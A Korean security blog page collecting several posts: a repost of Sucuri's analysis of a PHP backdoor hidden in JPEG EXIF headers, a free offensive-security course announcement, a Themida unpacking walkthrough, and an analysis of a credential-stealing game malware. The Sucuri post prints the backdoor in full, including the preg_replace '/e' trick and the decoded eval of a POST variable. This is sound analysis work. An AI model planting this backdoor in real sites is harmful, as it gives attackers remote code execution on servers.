posted by 블르샤이닝 2013. 7. 17. 10:28
728x90

http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SucuriSecurity+%28Sucuri+Security%29


암호화된 url  복호화 : http://ddecode.com/phpdecoder/?results=4e57b421cfdfc940c3df55c2bbecb408


Malware Hidden Inside JPG EXIF Headers

A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.

Technical Details

The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing.

When we look at the bun.jpg file, we find the second part of the backdoor:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

The file starts normally with the common headers, but in the "Make" header it has a strange keyword: "/.*/e". That's the exact modifier used by preg_replace to execute (eval) whatever is passed to it.

Now things are getting interesting...

If we keep looking at the EXIF data, we can see the "eval ( base64_decode" hidden inside the "Model" header. When you put it all together, we can see what is going on. The attackers are reading both the Maker and Model header from the EXIF and filling the preg_replace with them. Once we modify the $exif['Make'] and $exif['Model'] for what is in the file, we get the final backdoor:

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

Once decoded, we can see that it just executes whatever content is provided by the POST variable zz1. The full decoded backdoor is here:

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
Steganography Malware

Another interesting point is that bun.jpg and other images that were compromised, still load and work properly. In fact, on these compromised sites, the attackers modified a legit, pre-existent image from the site. This is a curious steganographic way to hide the malware.

Note: Any of Sucuri clients using Server Side Scanning are protected against this type of injection (detected by us).

728x90
posted by 블르샤이닝 2013. 7. 17. 10:26
728x90
https://www.novainfosec.com/2013/07/16/free-offensive-security-class/



Free Offensive Security Class

July 16, 2013
By 

Post to Twitter Post to Facebook Post to Reddit

This past spring Prof. Xiuwen Liu and W. Owen Redwood taught the first of their Offensive Security classes at Florida State University. Courses like this are nothing new but the difference here is that they put the entire thing online … syllabus, videos, slides, assignments and all.

Included are 15 weeks of very technical content (about 20 actual 1 hour lectures and/or associated slides). Beyond the two books recommended in the syllabus (“Counter Hack Reloaded” by Ed Skoudis and Tom Liston and “Hacking: The Art of Exploitation, 2nd Edition” by Jon Erickson) the entire class is free.

I didn’t have a chance to go through the complete course but did spot check a few of the videos. Audio and video were of good quality and easy to follow. They plan on evolving this course over time each spring so expect content to improve from year to year. Also one thing to note … this class is not related to Offensive Security, the organization that maintains Backtrack and Kali Linux.

To wet your palate of what to expect here’s an embedded video of their Metasploit lecture as well as a quick overview of the topics covered each week.

  • Week 1 Intro/Overview: Intro, Ethics, & Overview; Linux Overview
  • Week 2 Overview/Code Auditing: Windows Overview; Rootkits; Code Auditing
  • Week 3 Reverse Engineering Workshop Week: x86 Reverse engineering
  • Week 4 Exploit Dev: Fuzzing/Exploit Dev 101; Shellcode/Exploit Dev 102
  • Week 5 Exploit Dev / Networking: Exploit Dev 103 (SEH Exploitation, Heap Sprays, and Executable Security Mechanisms); Networking 101 (Data Layer, Link Layer, and IP layer)
  • Week 6 Networking / Web App Hacking: Networking 102 (TCP layer, Important Protocols, Services, Portscanning, ARP); Web App Hacking 101
  • Week 7 Web App Hacking: Web App Hacking 102 (SQLi, XSS); Web App Hacking 103 (SSL attacks, adv techniques)
  • Week 8 Web App Hacking / Exploit Dev: Web App Hacking 104 & Exploit Dev 104; Midterm review & Exploit Dev 105 (ROP)
  • Week 9 Special Topics: Modern History of Cyber Warfare; Social Engineering
  • Week 10 Metaspl0it: Metasploit & Midterm
  • Week 11 Post Exploitation/Forensics: Meterpreter/Post Exploitation; Volatility/IR
  • Week 12 Physical Security: Lockpicking, USB mischief, & BacNET/SCADA security
  • Week 13 Malware / Student Presentations
  • Weeks 14 & 16: Student Presentations

To find out more on the FSU Offensive Security class, checkout their course site atoffsec.noleptr.com.

#####

Today’s post pic is from FSU.edu. See ya!

728x90
posted by 블르샤이닝 2013. 7. 15. 09:36
728x90

Themida v2.1 unpack

Analysis 2013/06/27 09:43 posted by muhan56

ollydbg 및 plugin을 다음과 같이 설정합니다.








ZwFreeVirtualMemory 에 BP를 겁니다.





BP걸고 멈춰있을 때 메모리에 남아있는 SYS 파일의 파일명을 모두 변경합니다.



그리고 F9를 누르면 언팩된 코드가 보입니다.






 EP는 알아서 척척척~

EP 를 찾는 법 : E8 A33B0000 E9 89FEFFFF


또는 B8 4D5A0000을 찾는다




728x90
posted by 블르샤이닝 2013. 7. 12. 17:19
728x90

간단히 다음과 같이 특정 url의 정보를 확인할 수 있는 툴!


n****.com도메인은 그냥 예시로 넣은거임 특별한 이유없습니다




WhoisAutoit.zip


728x90
posted by 블르샤이닝 2013. 7. 2. 15:17
728x90

온라인 게임 악성코드의 한 종류로 sys 파일 하나와 PE 파일이 아닌 파일 하나를 생성한다.


SYS 파일이 동작되면 PE 파일이 아닌 파일을 읽어오며, 해당 파일을 프로세스에 인젝션시킨다.


인젝션된 코드는 사이트 아이디 및 패스워드를 외부서버로 유출한다.


분석


1. NtCreateThread 를 후킹한다.

-SSDT hook



-hook main





2. NtCreateThread가 호출되는 경우 PE파일이 아닌 파일을 읽으며, 해당 바이너리를 특정 프로세스에 삽입한다.

-netware.eng 파일일 읽은 뒤 메모리에 복사한다.



-읽은 파일을 코드에 인젝션시킨다.



-NtWriteVirtualMemory API 를 이용하여 바이너리를 삽입한다. 



-explorer.exe 에 netware.org 파일을 인젝션시키는 화면이다. (핸들 값 0x5c8 / 버퍼 0x2910004 / 사이즈 0x1b000)



-netware.eng 파일을 PE 역활을 해 주는 shellcode를 인젝션시킨다. 실제로 이 shellcode가 먼저 동작하여 PE 역활을 끝내면, netware.eng 파일로 이동한다.

-shellcode 복사



-shellcode 인젝션




3. 인젝션 된 코드는 다음과 같은 위치에 존재한다.

-2개의 코드. PE 역활을 하는 쉘코드(0x00150000)와 netware.eng 파일(0x00130000) 




-PE 위치



4. PE 역활을 하는 쉘코드는 마지막에 netware.eng 의 EP로 이동시킨다.



5. UPX로 팩킹되어 있으며, 언팩을 한다.



6. 인젝션된 프로세스가 다음과 일치하는지 체크하며, 일치하는 경우 종료한다.



7. 인젝션된 프로세스가 다음과 일치하는지 체크하며, 경우에 따라 다른 행동을 한다.


8. 특정 사이트에 접근하는 경우 아이디 및 패스워드를 다음과 같은 주소로 전송한다.







 jeon.zip

728x90